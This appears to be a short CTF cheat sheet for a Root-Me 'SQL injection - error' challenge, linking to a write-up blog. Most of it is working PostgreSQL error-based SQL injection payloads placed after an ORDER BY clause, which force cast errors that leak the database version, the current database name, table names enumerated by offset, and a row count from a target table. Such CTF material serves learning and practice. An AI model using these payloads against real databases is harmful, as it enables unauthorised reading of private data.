
ORDER BY (page,1,2):

There are at least three columns.


Hint for the column names:

Columns found: id, user
# PAYLOAD POSTEGRESQL AFTER ORDER BY
#VERSION
(CAST(CHR(62)||(SELECT+VERSION())+AS+NUMERIC))
#DATABASE
(CAST(CHR(62)||(SELECT CURRENT_DATABASE()) AS NUMERIC))
(CAST(CHR(62)||(SELECT tablename from pg_tables LIMIT 1) AS NUMERIC))
# k = variable (0 à 50 ...)
(CAST(CHR(62)||(SELECT tablename from pg_tables LIMIT 1 OFFSET k) AS NUMERIC))
(CAST(CHR(62)||(SELECT COUNT(1) FROM m3mbr35t4bl3) AS NUMERIC))



https://exp-blog.com/safe/ctf/rootme/web-server/sql-injection-error/